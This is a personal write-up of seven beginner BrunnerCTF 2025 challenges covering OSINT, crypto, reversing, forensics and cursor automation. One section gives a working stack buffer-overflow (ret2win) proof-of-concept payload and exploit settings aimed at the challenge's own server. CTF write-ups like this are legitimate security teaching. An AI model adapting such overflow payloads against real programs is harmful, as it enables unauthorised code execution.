BrunnerCTF 2025 — Write-up
Walkthrough of the BrunnerCTF 2025 challenges I solved as part of team APISec Avengers
BrunnerCTF 2025 Write-up Overview
Author: AppleTree
Team: APISec Avengers
Placement: 94th of 1158 teams
Team Score: 3274 points
Scope: This post covers only the challenges I solved. Be sure to also take a look at the Honorable Mentions section for links to my teammates’ excellent write-ups.
Event Date: Fri 22 Aug 2025 12:00 UTC – Sun 24 Aug 2025 12:00 UTC
Platform: BrunnerCTF
Sponsors: Campfire Security · Bankdata · Cyberskills · Hetzner
Flag Format: brunner{.*}
✅ Completed Challenges Overview
Challenge Name | Category | Points |
---|---|---|
Traditional Cake | OSINT | 100 |
The Secret Brunsviger | Shake & Bake | 50 |
Dat Overflow Dough | Shake & Bake | 50 |
Shaken, Not Stirred | Shake & Bake | 50 |
Textopolis | Shake & Bake | 40 |
Digging For Treasure | Shake & Bake | 40 |
Insanity Check | Shake & Bake | 30 |
🏆 Solved Challenges
OSINT
Challenge: Traditional Cake
Points: 100
Flag: brunner{inched.cases.entitle}
Description: A provided photo pointed to a landmark. Flag was the what3words code for the precise location.
Steps Taken:
- Extracted the image and checked metadata with
exiftool
— no GPS. - Observed pavilion across reflective lake; European palace garden style.
- Identified as the Apollotempel in Nymphenburg Palace Park.
- Located exact lakeside vantage across from temple.
- what3words lookup gave
inched.cases.entitle
.
Shake & Bake
Challenge: The Secret Brunsviger
Points: 50
Flag: brunner{S3cr3t_Brunzv1g3r_R3c1p3_Fr0m_Gr4ndm4s_C00kb00k}
Steps Taken:
- Opened
traffic.pcap
in Wireshark, configured TLS withkeys.log
. - Followed decrypted HTTP stream — JSON contained base64 field.
- Decoded base64 string with:
1
echo 'YnJ1bm5lcntTM2NyM3RfQnJ1bnp2aTNnM3JfUjNjMXAzX0ZyMG1fR3I0bmRtNHNfQzAwa2IwMGt9Aw30=' | base64 -d
- Output revealed flag.
Challenge: Dat Overflow Dough
Points: 50
Flag: brunner{b1n4ry_eXpLoiTatioN_iS_CooL}
Steps Taken:
- Reviewed binary — vulnerable
gets()
into 16-byte buffer. - Found
secret_dough_recipe
at0x4011b6
. - Calculated overflow offset: 24 bytes.
- Local PoC payload:
1 2 3 4
python3 - <<'PY' | ./recipe import struct, sys sys.stdout.buffer.write(b"A"*16 + b"B"*8 + struct.pack("<Q", 0x4011b6) + b"\n") PY
- Updated exploit script with remote constants:
1 2 3 4 5 6 7 8
RECIPE_BUFFER_SIZE = 16 RBP_SIZE = 8 SECRET_ADDRESS = 0x4011b6 PROMPT = "Please enter the name of the recipe you want to retrieve:" USE_REMOTE = True REMOTE_HOST = "dat-overflow-dough-35b12ca665f7958e.challs.brunnerne.xyz" REMOTE_PORT = 443
- Executed exploit, flag printed.
Challenge: Shaken, Not Stirred
Points: 50
Flag: brunner{th3_n4m3's_Brunn3r...J4m3s_Brunn3r}
Steps Taken:
encrypt.py
showed single-byte XOR encryption.- Extracted ciphertext string.
- Brute-forced all keys with script:
1 2 3 4 5 6 7 8 9
cipher_line = "wg`{{pgna}&J{!x&2fJWg`{{&g;;;_!x&fJWg`{{&gh".encode() for key in range(256): pt = bytes([b ^ key for b in cipher_line]) try: s = pt.decode() except UnicodeDecodeError: continue if all(32 <= ord(ch) < 127 for ch in s) and "{" in s and "}" in s: print(key, s)
- Key
21
revealed plaintext flag.
Challenge: Textopolis
Points: 40
Flag: brunner{🤑🤗😇😛☺♫☼♪♠♥♣♦☺🤔😏‼😎🤯🤠🥳😵🥱🤐🥵🥶👻}
Steps Taken:
- Decompiled .NET executable with ILSpy.
- Discovered checks:
- Favorite emoji must be
‼
. - Passport = reversed sequence →
☺♫☼♪♠♥♣♦☺
. - Name must include
⌂¿■
, exclude certain characters.
- Favorite emoji must be
- Rebuilt flag with script:
1 2 3 4
emoji_passport = ["☺","♦","♣","♥","♠","♪","☼","♫","☺"] emoji_passport.reverse() flag = f"brunner{{🤑🤗😇😛{''.join(emoji_passport)}🤔😏‼😎🤯🤠🥳😵🥱🤐🥵🥶👻}}" print(flag)
Challenge: Digging For Treasure
Points: 40
Flag: brunner{cu$t4rd_1z_k1ng}
Steps Taken:
- Extracted
.E01
forensic image. - Loaded into Autopsy and examined deleted files.
- Found
do_not_open_this.txt
with password hint. - Used hint to unlock
.7z
archive:1
7z x f0005288.7z -oextracted/secret/
- Extracted
flag.txt
with solution.
Challenge: Insanity Check
Points: 30
Flag: brunner{y0u_d1d_1t!!!_n0w_try_t0_4ctu4lly_pl4y_th3_ctf}
Steps Taken:
- Originally solved on Windows; redone on macOS with Quartz APIs.
- Template/feature matching unreliable.
- Switched to RGB color-based search.
- Logger for pixel values:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
import time, numpy as np, mss from Quartz.CoreGraphics import CGEventCreate, CGEventGetLocation def mouse_xy(): loc = CGEventGetLocation(CGEventCreate(None)) return int(loc.x), int(loc.y) def pixel_rgb(sct, x, y): box = {"left": x, "top": y, "width": 1, "height": 1} px = np.array(sct.grab(box)) b, g, r, _ = px[0,0] return int(r), int(g), int(b) with mss.mss() as sct: print("Hover anywhere; Ctrl+C to stop.") while True: x, y = mouse_xy() r, g, b = pixel_rgb(sct, x, y) print(f"\rRGB @ ({x},{y}) = ({r:3d},{g:3d},{b:3d})", end="") time.sleep(0.03)
- Main solver using int32 color distance and Quartz cursor move:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import time, numpy as np, mss from Quartz.CoreGraphics import ( CGWarpMouseCursorPosition, CGEventCreateMouseEvent, CGEventPost, kCGEventMouseMoved, kCGMouseButtonLeft, kCGHIDEventTap, ) TARGET_RGB = (64, 44, 36) SEARCH_REGION = (4, 139, 1672, 1042) def post_mouse_move_global(x,y): CGWarpMouseCursorPosition((x,y)) CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(None, kCGEventMouseMoved, (x,y), kCGMouseButtonLeft)) with mss.mss() as sct: mon = {"left": SEARCH_REGION[0], "top": SEARCH_REGION[1], "width": SEARCH_REGION[2]-SEARCH_REGION[0], "height": SEARCH_REGION[3]-SEARCH_REGION[1]} while True: shot = np.array(sct.grab(mon)) bgr = shot[:, :, :3] B = bgr[:,:,0].astype(np.int32) G = bgr[:,:,1].astype(np.int32) R = bgr[:,:,2].astype(np.int32) dist2 = (R-TARGET_RGB[0])**2 + (G-TARGET_RGB[1])**2 + (B-TARGET_RGB[2])**2 idx = int(np.argmin(dist2)) by,bx = divmod(idx, bgr.shape[1]) post_mouse_move_global(SEARCH_REGION[0]+bx, SEARCH_REGION[1]+by)
- Cursor snapped rapidly to target, flag revealed.
📚 Lessons Learned
- Precision matters in OSINT — landmarks and exact vantage points.
- Forensics workflows benefit from Autopsy and deleted-file recovery.
- Non-PIE +
gets()
is textbook ret2win exploitation. - Single-byte XOR crypto is trivial with brute force.
- ILSpy is excellent for reversing beginner .NET challenges.
- Color-based cursor automation outperformed template matching.
- Consistent methodology across categories made challenges efficient to solve.
🙌 Honorable Mentions
Here are links to my teammates’ blogs where they’ve published write-ups for the challenges they solved:
Note: Will be updated once my teammates finish their write-ups. :)
Note: AI-assisted editing was used to improve grammar, clarity, and formatting. All technical content and opinions are original.